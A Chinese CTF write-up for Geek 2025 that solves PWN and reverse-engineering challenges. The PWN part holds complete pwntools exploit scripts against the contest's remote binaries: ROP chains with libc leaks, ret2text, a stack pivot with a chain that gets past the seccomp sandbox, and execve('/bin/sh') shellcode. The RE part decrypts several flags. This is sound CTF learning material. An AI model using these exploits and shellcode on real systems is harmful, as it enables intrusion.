这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写,写的烂,就当参考吧,可能有很多地方不严谨或有误 还请各位大佬指教
PWN
old_rop
解题流程
查保护
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF
write(1, "Hello, World\n", 0xDuLL);
strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
write(1, buf, 0x4DuLL);
write(1, "\n", 1uLL);
sub_401156(1LL);
return 0LL;
}
ssize_t sub_401156()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
在sub_401156有一个明显栈溢出,没有后门函数,打libc,得先泄露libc基址,用write打印即可,但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些,然后正常写rop链即可
exp
from pwn import *
# io = process('./pwn')
io = remote('geek.ctfplus.cn',32696)
libc = ELF("./libc/libc.so.6")
elf = ELF("./pwnt")
write_got = elf.got['write']
write_plt = elf.plt['write']
pop_rdi = 0x00000000004012d3
ret_addr = 0x000000000040101a
read_addr = 0x0000000000401156
pop_rsi_r15 = 0x00000000004012d1
line = io.recvline()
print(line)
line = io.recvline()
print(line)
payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr)
io.sendline(payleak)
leaked_data = io.recv(0x200)
write_addr = u64(leaked_data[0:8])
print(f"Leaked write address: {hex(write_addr)}")
libc_base = write_addr - libc.symbols['write']
print(f"Libc base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
print("system:",hex(system_addr))
print("binsh:",hex(binsh_addr))
payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline (payload)
io.interactive()
Mission Calculator
解题流程
这题不用查保护,就是一个单纯的计算题,直接写一个for全算出来发回去就行
exp
from pwn import *
# io = process('./calc')
io = remote("geek.ctfplus.cn",31128)
line = io.recvuntil(b'...').decode()
io.sendline()
for i in range(50):
line = io.recvuntil(b':').decode()
calc = io.recvuntil(b'=').decode().replace('=','')
print(calc)
result = eval(calc)
print(result)
io.sendline(str(result))
io.interactive()
Mission Cipher Text
解题流程
查保护
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
banner();
menu();
v4 = readchoice();
if ( v4 == 1 )
{
output_history();
}
else
{
if ( v4 != 2 )
exit(0);
submit_feedback();
}
return 0;
}
int readchoice()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
read(0, buf, 8uLL);
return atoi(buf);
}
size_t submit_feedback()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Please enter your feedback:");
close(1);
read(0, buf, 0x100uLL);
return fwrite("\x1B[1m\x1B[95mwe are here waiting for you\x1B[0m\n", 1uLL, 0x29uLL, stderr);
}
int b4ckd00r()
{
return system("/bin/sh");
}
有后门函数,可以ret2text,先到submit_feedback函数里构造溢出然后ret到后门函数,但是注意到submit_feedback里执行了
close(1)
关闭了标准输出,还得手动打开
exp
from pwn import *
# io = process('./text')
io = remote('geek.ctfplus.cn',31370)
backdoor_addr = 0x00000000004014AF
ret_addr = 0x000000000040101a
line = io.recvuntil(b'choice >').decode()
io.sendline('2')
io.recvline()
payload = cyclic(0x28) + p64(ret_addr) + p64(backdoor_addr)
io.sendline(payload)
io.sendline(b"exec >&2")
line = io.recvline()
print(line)
io.interactive()
Mission Exception Registration
解题流程
查保护
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int Input; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
banner();
user_init();
while ( 1 )
{
menu();
Input = read_int();
if ( Input == 4 )
exit(0);
if ( Input > 4 )
{
LABEL_13:
puts("Invalid choice.");
}
else if ( Input == 3 )
{
view_resources();
}
else
{
if ( Input > 3 )
goto LABEL_13;
if ( Input == 1 )
{
register_user();
}
else
{
if ( Input != 2 )
goto LABEL_13;
submit_feedback();
}
}
}
}
void *user_init()
{
void *result; // rax
*((_DWORD *)ptr + 12) = -1;
*((_DWORD *)ptr + 13) = 0;
memset(ptr, 0, 0x10uLL);
memset((char *)ptr + 16, 0, 0x20uLL);
result = ptr;
*((_QWORD *)ptr + 7) = 0LL;
return result;
}
int read_int()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
read(0, buf, 8uLL);
return atoi(buf);
}
ssize_t view_resources()
{
login();
if ( *((_DWORD *)ptr + 12) )
{
puts("WELCOME, USER.");
return write(1, &ptr, 8uLL);
}
else
{
puts(
"Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as"
" a model to successfully create an independent personality matrix from scratch. This would be a great technologica"
"l advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu"
"ating the risks of this technology.");
puts("WELCOME, ADMINISTRATOR.");
return write(1, (char *)ptr + 56, 8uLL);
}
}
int register_user()
{
if ( *((_DWORD *)ptr + 12) != -1 )
return puts("You have already registered.");
*((_DWORD *)ptr + 12) = 2;
puts("Please enter your name:");
read(0, ptr, 0x10uLL);
puts("Please enter your password:");
read(0, (char *)ptr + 16, 0x28uLL);
*((_DWORD *)ptr + 13) = 1;
*((_QWORD *)ptr + 7) = &puts;
return puts("Registration successful.");
}
int submit_feedback()
{
if ( *((_DWORD *)ptr + 12) == -1 )
return puts("Please register first.");
else
return input();
}
int input()
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("Please enter your feedback:");
read(0, buf, 0x100uLL);
return puts("Feedback submitted.");
}
没有后门函数,打libc,先泄露libc基址,在view_resources里,当用户状态是管理员时可以write(1, (char )ptr + 56, 8uLL); 但这个地方事实上存着((_QWORD )ptr + 7) = &puts;也就是puts的地址,在注册时,((_DWORD *)ptr + 13) = 1;存着注册状态,如果此处不为0,则是普通用户,修改为0即可,在read(0, (char *)ptr + 16, 0x28uLL);明显可以覆盖到注册状态,然后计算libc基址打libc即可
exp
from pwn import *
# context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])
# io = process('./pwn')
io = remote('geek.ctfplus.cn',32070)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
pop_rdi_addr = 0x000000000002a3e5
ret_addr = 0x0000000000029cd6
io.recvuntil(b'Your choice >>').decode()
io.sendline(b'1')
io.sendafter(b'name:', b'A' * 16)
password_payload = b'A' * 31 + b'\x00' + p32(0) + p32(0)
io.sendafter(b'password:', password_payload)
io.recvuntil(b'Your choice >>').decode()
io.sendline(b'3')
io.recvuntil(b'password:')
io.send(b'A' * 31 + b'\x00')
io.recvuntil(b'ADMINISTRATOR.\n')
leak = io.recv(8)
puts_addr = u64(leak)
log.info(f"Leaked puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_addr = libc_base + pop_rdi_addr
ret_addr = libc_base + ret_addr
log.info(f"Libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
log.info(f"pop rdi; ret address: {hex(pop_rdi_addr)}")
log.info(f"ret address: {hex(ret_addr)}")
io.sendline(b'2')
io.recvline()
payload = cyclic(0x18) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
次元囚笼
解题流程
查保护
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int Input; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &Input);
if ( Input != 3 )
break;
love_me();
}
if ( Input <= 3 )
{
if ( Input == 1 )
{
miss_me();
}
else if ( Input == 2 )
{
abandon_me();
}
}
}
}
ssize_t love_me()
{
puts("give me your love ");
return read(0, buffer, 0x32uLL);
}
int abandon_me()
{
_BYTE buf[512]; // [rsp+0h] [rbp-200h] BYREF
printf("Is this necessary? That's my prayer");
read(0, buf, 0x200uLL);
return leave();
}
int leave()
{
char dest[32]; // [rsp+0h] [rbp-20h] BYREF
strcpy(dest, buffer);
if ( strcmp(dest, "love") )
return puts("it's all of you");
puts("yes I wait for you forever");
return read(0, buffer, 0x100uLL);
}
int Backdoor()
{
puts("I know you pretend to love me , but this's enough");
puts("I leave something you want,and Farewell");
return system("/bin/sh");
}
有后门函数,但没有直接的溢出,但love_me输入到buffer可以在leave处被复制到dest上产生溢出,直接ret2text即可
exp
from pwn import *
# io = process('./cyql')
io = remote('geek.ctfplus.cn',32015)
backdoor_addr = 0x00000000004012D9
io.recvuntil(b'cin >> :')
io.sendline(b'3')
io.recvuntil(b'give me your love')
payload = cyclic(0x28) + p64(backdoor_addr)
io.sendline(payload)
io.sendlineafter(b'cin >> :', b'2')
io.sendafter(b'Is this necessary? That\'s my prayer', b'B' * 512)
io.interactive()
Mission Transponder
解题流程
查保护
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
tip();
repeater();
return 0;
}
__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return sandbox();
}
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init failed");
exit(1);
}
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
if ( (unsigned int)seccomp_load(v1) )
{
perror("seccomp_load failed");
seccomp_release(v1);
exit(1);
}
return seccomp_release(v1);
}
int tip()
{
puts("\x1B[1;31m[!]The transponder couldn't connect to the ES node!\x1B[0m");
puts("\x1B[3mOur company's purpose is to serve the happiness of all mankind\x1B[0m");
return puts("Switching to debug mode...");
}
unsigned __int64 repeater()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("data:");
read(0, buf, 0x40uLL); // leak canary
printf("%s", buf);
puts("logs:");
read(0, buf, 0x200uLL); // stack overflow
return v2 - __readfsqword(0x28u);
}
unsigned __int64 repeat_error()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("data:");
read(0, buf, 8uLL);
printf(buf);
read(0, buf, 0x20uLL);
return v2 - __readfsqword(0x28u);
}
首先这个题保护开的很满,还有sandbox
现在repeater里的printf泄露canary和rbp的值,然后下一次read的时候覆盖rbp为原本rbp+0x30的地方
这里把栈迁移过去,可以用之前泄露canary相同的方法泄露main的地址


虽然这里其实可以用repeat_error的格式化字符串漏洞,能简单很多,但是看了篇栈迁移的例题和这里很相似,就用了稍微难一点的方法了
exp
from pwn import *
context.log_level='debug'
context.arch='amd64'
io=process('./pwn')
# io=remote('geek.ctfplus.cn',32614)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io.sendlineafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
canary=u64(io.recv(8))-0xa
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))+0x30
# gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stack_addr)+b'\x08'
io.sendafter('logs:\n',padding)
io.sendafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
base=u64(io.recv(6).ljust(8,b'\x00'))-0x1484
syscall_ret=base+0x11DD
stderr=base+0x40a0
main=base+0x1408
gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stderr+0x30)+p64(main)
io.sendafter('logs:\n',padding)
io.sendafter('data:\n',b'\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x20a40a
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
stderr_addr=libc_base+0x20a4e0
pop_rdi=libc_base+0x0000000000102dea
pop_rsi=libc_base+0x0000000000053887
pop_rdx_xor_eax_eax=libc_base+0x00000000000d77bd
rax=libc_base+0x00000000000d4f97
flag_addr=stderr+0xd0
padding=p64(stderr_addr)+b'a'*0x20+p64(canary)+p64(stderr+0x30)
padding+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall_ret)
padding+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stderr+0x200)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(read_addr)
padding+=p64(pop_rdi)+p64(1)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(write_addr)
padding+=b'./flag\x00'
io.sendafter('logs:\n',padding)
io.interactive()
Mission Ember
解题流程
查保护
__int64 my_heart()
{
void *s; // [rsp+8h] [rbp-8h]
puts("\x1B[1mTry contacting Geek HQ\x1B[0m");
s = mmap((void *)0x405000, 0x4000uLL, 7, 34, -1, 0LL);
memset(s, 144, 0x4000uLL);
Sandbox();
read(0, s, 6uLL);
return ((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))s)(0LL, 0LL, 0LL);
}
__int64 Sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init failed");
exit(1);
}
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
if ( (unsigned int)seccomp_load(v1) )
{
perror("seccomp_load failed");
seccomp_release(v1);
exit(1);
}
return seccomp_release(v1);
}
开了沙箱,没办法直接sh,只能orw,但是mmap了一块rwx区域,在0x405000,大小0x4000,并读入6个字节,最后会执行读入的指令,也就是说我们需要在六个字节里实现扩展写并写入完整的shellcode.
在call r8的地方下断点,查看栈和寄存器

\x5A\x59\x5E\x93\x0F\x05
四个字节用于设置寄存器,两个字节syscall刚好足够
exp
from pwn import *
# context.log_level='debug'
context.arch='amd64'
# io=process('./pwn')
io=remote('geek.ctfplus.cn',32321)
# gdb.attach(io)
shellcode=b"\x5A\x59\x5E\x93\x0F\x05"
shellcode2=b'a'*6+asm(shellcraft.open('./flag')+shellcraft.read(3,0x406000,0x100)+shellcraft.write(1,0x406000,0x100))
# gdb.attach(io)
# pause()
io.send(shellcode)
io.sendline(shellcode2)
io.interactive()
血池轮回
解题流程
查保护
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
loop();
return 0;
}
__int64 __fastcall loop()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-1Ch]
__int64 v3; // [rsp+8h] [rbp-18h]
make_code_executable((unsigned __int64)&code, 32LL);
for ( i = 0; i <= 99; ++i )
{
if ( idx > 9 )
{
puts("Your blood is completely soaked in the pool of blood");
return 0LL;
}
printf("this is already %d days loop,do you want to give up ? ", idx);
if ( (int)read(0, &code, 1uLL) <= 0 )
break;
v3 = code;
if ( code == 121LL )
{
puts("wise choice, but no encouragement");
return v3;
}
++idx;
printf("Blood Pool Reincarnation Start !");
read(0, &unk_4040A1, 5uLL);
v3 = v0;
((void (__fastcall *)(__int64, _QWORD, _QWORD))(&code + 1))(1LL, 0LL, 0LL);
}
return v3;
}
void init()
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
}
看一眼loop里,和上一个ember差不多,也是扩展写,但完整的shellcode长度也有限

\x96\x5a\x5f\x0f\x05
然后扩展写,因为总空间有限,直接用shellcraft写的shellcode会太长,所以直接掏出22字节超短shellcode
\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05
甚至还剩一点空间
exp
from pwn import *
# context(arch='amd64',os='linux',log_level='debug')
# io = process('./pwn')
io = remote('geek.ctfplus.cn',31973)
line = io.recvline(timeout = 1)
print(line)
io.sendline()
io.recvline(timeout = 2)
sh_shellcode = cyclic(0x05) + b'\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05'
ex_shellcode = b'\x96\x5a\x5f\x0f\x05'
# gdb.attach(io)
io.send(ex_shellcode)
io.send(sh_shellcode)
io.interactive()
RE
encode
解题流程
打开ida查看伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [xsp+0h] [xbp-220h]
char v5[256]; // [xsp+8h] [xbp-218h] BYREF
char v6[256]; // [xsp+108h] [xbp-118h] BYREF
puts("please input: ");
scanf(v6, 256LL);
for ( i = 0; i < encrypted_len; ++i )
v5[i] = v6[i] ^ 0x5A;
compare(v5, (unsigned int)encrypted_len);
return 0;
}
int scanf(const char *a1, ...)
{
int v1; // w1
__int64 v2; // x10
bool v4; // [xsp+10h] [xbp-140h]
bool v5; // [xsp+14h] [xbp-13Ch]
int i; // [xsp+18h] [xbp-138h]
int v7; // [xsp+1Ch] [xbp-134h]
int v8; // [xsp+20h] [xbp-130h]
int v9; // [xsp+24h] [xbp-12Ch]
_BYTE v12[256]; // [xsp+38h] [xbp-118h] BYREF
v9 = v1;
v7 = 0;
do
v8 = getchar();
while ( v8 != -1 && (v8 == 32 || v8 == 9 || v8 == 10 || v8 == 13) );
if ( v8 == -1 )
return 0;
while ( 1 )
{
v5 = 0;
if ( v8 != -1 )
{
v5 = 0;
if ( v8 != 32 )
{
v5 = 0;
if ( v8 != 9 )
{
v5 = 0;
if ( v8 != 10 )
{
v5 = 0;
if ( v8 != 13 )
v5 = v7 < v9 - 1;
}
}
}
}
if ( !v5 )
break;
v2 = v7++;
a1[v2] = v8;
v8 = getchar();
}
a1[v7] = 0;
encrypted_len = enc(a1, (unsigned int)v7, v12);
for ( i = 0; ; ++i )
{
v4 = 0;
if ( i < encrypted_len )
v4 = i < v9;
if ( !v4 )
break;
a1[i] = v12[i];
}
return v7;
}
__int64 __fastcall enc(__int64 a1, int a2, __int64 a3)
{
signed int v4; // [xsp+10h] [xbp-140h]
int v5; // [xsp+14h] [xbp-13Ch]
int m; // [xsp+18h] [xbp-138h]
int i; // [xsp+1Ch] [xbp-134h]
int j; // [xsp+1Ch] [xbp-134h]
int k; // [xsp+1Ch] [xbp-134h]
_BYTE v11[256]; // [xsp+38h] [xbp-118h]
v5 = 8 - a2 % 8;
v4 = a2 + v5;
for ( i = 0; i < a2; ++i )
v11[i] = *(_BYTE *)(a1 + i);
for ( j = a2; j < v4; ++j )
v11[j] = v5;
for ( k = 0; k < v4; k += 8 )
{
for ( m = 0; m < 8; ++m )
*(_BYTE *)(a3 + k + m) = v11[k + m];
enc_block(a3 + k, &a);
}
return (unsigned int)v4;
}
__int64 __fastcall enc_block(__int64 result, __int64 a2)
{
int i; // [xsp+4h] [xbp-3Ch]
int j; // [xsp+4h] [xbp-3Ch]
unsigned int v4; // [xsp+8h] [xbp-38h]
unsigned int v5; // [xsp+10h] [xbp-30h]
unsigned int v6; // [xsp+14h] [xbp-2Ch]
_DWORD v7[4]; // [xsp+28h] [xbp-18h]
v4 = 0;
v6 = _byteswap_ulong(*(_DWORD *)result);
v5 = _byteswap_ulong(*(_DWORD *)(result + 4));
for ( i = 0; i < 4; ++i )
v7[i] = (*(unsigned __int8 *)(a2 + 4 * i + 1) << 16) | (*(unsigned __int8 *)(a2 + 4 * i) << 24) | (*(unsigned __int8 *)(a2 + 4 * i + 2) << 8) | *(unsigned __int8 *)(a2 + 4 * i + 3);
for ( j = 0; j < 32; ++j )
{
v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v4 + v7[v4 & 3]);
v4 -= 1640531527;
v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v4 + v7[(v4 >> 11) & 3]);
}
*(_BYTE *)result = HIBYTE(v6);
*(_BYTE *)(result + 1) = BYTE2(v6);
*(_BYTE *)(result + 2) = BYTE1(v6);
*(_BYTE *)(result + 3) = v6;
*(_BYTE *)(result + 4) = HIBYTE(v5);
*(_BYTE *)(result + 5) = BYTE2(v5);
*(_BYTE *)(result + 6) = BYTE1(v5);
*(_BYTE *)(result + 7) = v5;
return result;
}
首先main里面的scanf并不是真的scanf,里面有套娃,先在这个假的scanf里去除一些特殊字符后到enc里, 然后分块,并从&a处得到key
geek2025reverse!
然后enc_block里分别加密,是一个轮数为32的XTEA 最后将加密得到的密文与每位分别与0x5a异或,然后base64后与&unk_100003EF1处保存的密文比较
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void dec_block(uint8_t *block, const uint32_t *key) {
uint32_t v4 = 0xC6EF3720; // 32 * 0x9E3779B9的补码
uint32_t v6, v5;
v6 = (block[0] << 24) | (block[1] << 16) | (block[2] << 8) | block[3];
v5 = (block[4] << 24) | (block[5] << 16) | (block[6] << 8) | block[7];
for (int j = 0; j < 32; ++j) {
v5 -= (((v6 >> 5) ^ (v6 << 4)) + v6) ^ (v4 + key[(v4 >> 11) & 3]);
v4 += 0x61C88647; // 0x9E3779B9的补码
v6 -= (((v5 >> 5) ^ (v5 << 4)) + v5) ^ (v4 + key[v4 & 3]);
}
block[0] = (v6 >> 24) & 0xFF;
block[1] = (v6 >> 16) & 0xFF;
block[2] = (v6 >> 8) & 0xFF;
block[3] = v6 & 0xFF;
block[4] = (v5 >> 24) & 0xFF;
block[5] = (v5 >> 16) & 0xFF;
block[6] = (v5 >> 8) & 0xFF;
block[7] = v5 & 0xFF;
}
void expand_key(const char *key_str, uint32_t *expanded_key) {
for (int i = 0; i < 4; ++i) {
expanded_key[i] = ((uint8_t)key_str[4 * i] << 24) |
((uint8_t)key_str[4 * i + 1] << 16) |
((uint8_t)key_str[4 * i + 2] << 8) |
(uint8_t)key_str[4 * i + 3];
}
}
int decrypt_data(const uint8_t *encrypted_data, int encrypted_len,
const char *key_str, uint8_t *decrypted_data) {
uint32_t expanded_key[4];
expand_key(key_str, expanded_key);
uint8_t *temp_buffer = (uint8_t *)malloc(encrypted_len);
memcpy(temp_buffer, encrypted_data, encrypted_len);
for (int k = 0; k < encrypted_len; k += 8) {
dec_block(temp_buffer + k, expanded_key);
}
int padding = temp_buffer[encrypted_len - 1];
if (padding < 1 || padding > 8) {
printf("Error: Invalid padding\n");
free(temp_buffer);
return -1;
}
int original_len = encrypted_len - padding;
memcpy(decrypted_data, temp_buffer, original_len);
free(temp_buffer);
return original_len;
}
int main() {
const char *key = "geek2025reverse!";
uint8_t encrypted_data[] = {
0xE6, 0x46, 0x8D, 0x85, 0x18, 0xF2, 0x9C, 0x07, 0x9D, 0xFE, 0x6C, 0xC2, 0x32, 0x08, 0x10, 0xDD, 0x7A, 0x25, 0x8F, 0x93, 0x74, 0x0E, 0x73, 0x86, 0xB9, 0x5C, 0x3B, 0xF5, 0x5F, 0x4C, 0x22, 0x81, 0xC3, 0xCA, 0x56, 0x31, 0xA3, 0x53, 0xA3, 0x0B, 0xFC, 0x41, 0xFC, 0xA6, 0xFC, 0xC2, 0x70, 0xBE
};
int encrypted_len = sizeof(encrypted_data);
uint8_t *decrypted_data = (uint8_t *)malloc(encrypted_len);
int decrypted_len = decrypt_data(encrypted_data, encrypted_len, key, decrypted_data);
if (decrypted_len > 0) {
printf("Output:");
for (int i = 0; i < decrypted_len; ++i) {
printf("%c", decrypted_data[i]);
}
}
free(decrypted_data);
return 0;
}
flag
SYC{St4nd4rd_Funct10n_N0t_4lw4ys_St4nd4rd}
ez_pyyy
解题流程
直接把pyc文件还原成py文件得到
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 太好了是python糕手我们有救了.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 2025-10-04 12:43:26 UTC (1759581806)
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]
def str_to_hex_bytes(s: str) -> bytes:
return s.encode('utf-8')
def enc(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])
def en3(b: int) -> int:
return b << 4 & 240 | b >> 4 & 15
def en33(data: bytes, n: int) -> bytes:
"""整体 bitstream 循环左移 n 位"""
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, 'big')
val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
return val.to_bytes(len(data), 'big')
if __name__ == '__main__':
flag = ''
data = str_to_hex_bytes(flag)
data = enc(data, 17)
data = bytes([en3(b) for b in data])
data = data[::-1]
data = en33(data, 32)
if data.hex() == cipher:
print('Correct! ')
else:
print('Wrong')
加密很简单,总之就是将字符串转换为字节、异或操作、交换每个字节的高低4位、反转字节序列、整体循环左移32位,直接反过来跑一遍就行
exp
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]
def en3(b: int) -> int:
return b << 4 & 240 | b >> 4 & 15
def en33(data: bytes, n: int) -> bytes:
"""整体 bitstream 循环左移 n 位"""
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, 'big')
val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
return val.to_bytes(len(data), 'big')
# 将 cipher 转换为十六进制字符串
target_hex = ''.join(chr(c) for c in cipher)
encrypted = bytes.fromhex(target_hex)
total_bits = len(encrypted) * 8
data1 = en33(encrypted, total_bits - 32)
data2 = data1[::-1]
data3 = bytes([en3(b) for b in data2])
data4 = bytes([b ^ 17 for b in data3])
flag = data4.decode('utf-8')
print(flag)
flag
SYC{jtfgdsfda554_a54d8as53}
only_flower
解题流程
直接打开ida看不了伪代码,需要先解决花指令的混淆 将循环的jmp的指令nop掉后可以得到
int main()
{
char Input[256]; // [esp+14h] [ebp-10Ch] BYREF
uint8_t *v2; // [esp+114h] [ebp-Ch]
size_t Len; // [esp+118h] [ebp-8h]
size_t Input_len; // [esp+11Ch] [ebp-4h]
__main();
printf("Welcome to Flowerdance. Input your flag: ");
if ( !fgets(Input, 256, (FILE *)__iob[0]._ptr) )
return 0;
Input_len = strlen(Input);
if ( Input_len && Input[Input_len - 1] == 10 )
Input[--Input_len] = 0;
if ( checkcheck(Input) )
{
Len = strlen(Input);
if ( Len == 28 )
{
v2 = (uint8_t *)malloc(0x1Cu);
if ( v2 )
{
encrypt((const uint8_t *)Input, v2, Len);
if ( !memcmp(v2, CIPHER, Len) )
{
puts("Correct! Flowerdance!");
}
else
{
puts("Incorrect. Keep dancing.");
hint();
}
free(v2);
return 0;
}
else
{
return 0;
}
}
else
{
printf("Wrong length (expected %lu bytes including braces).\n", 28);
hint();
return 0;
}
}
else
{
puts("Bad format..");
hint();
return 0;
}
}
void __cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)
{
size_t klen; // [esp+18h] [ebp-10h]
size_t i; // [esp+1Ch] [ebp-Ch]
klen = strlen(KEY);
for ( i = 0; i < len; ++i )
out[i] = i + rol8(KEY[i % klen] ^ in[i], KEY[i % klen] & 7);
}
uint8_t __cdecl rol8(uint8_t v, unsigned int n)
{
return (v << (n & 7)) | ((int)v >> (8 - (n & 7)));
}
上面的checkcheck函数不说了,只是检查flag格式是不是SYC{} 从CIPHER得到密文[0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC] 从KEY得到密钥GEEK2025 在encrypt里对每个字符与key分别异或,然后再rol8里左移
exp
def ror8(v, n):
n = n & 7
return ((v >> n) | (v << (8 - n))) & 0xFF
def decrypt(cipher, key):
klen = len(key)
plain = []
for i in range(len(cipher)):
key_byte = key[i % klen]
shifted = (cipher[i] - i) & 0xFF
rotated = ror8(shifted, key_byte & 7)
plain_byte = rotated ^ key_byte
plain.append(plain_byte)
return bytes(plain)
KEY = b"GEEK2025"
CIPHER = [0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC]
cipher_bytes = bytes(CIPHER)
flag = decrypt(cipher_bytes, KEY)
print(f"Output: {flag}")
flag
SYC{asdjjasdhjk12wk12ijkejk}
ezRu3t
解题流程
这题代码没法读,纯靠猜,在String的subviews里发现了
!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstu
和
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Base85和Base64的编码表,合理猜测这题是这两种编码加密的flag 同时发现一串疑似密文的编码
<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S
经过Base85和Base64解密后的确得到了flag
exp
直接用Cyberchef一键解密
flag
SYC{Ohjhhh_y0u_g3t_Ezzzzz3_Ru3t!@}
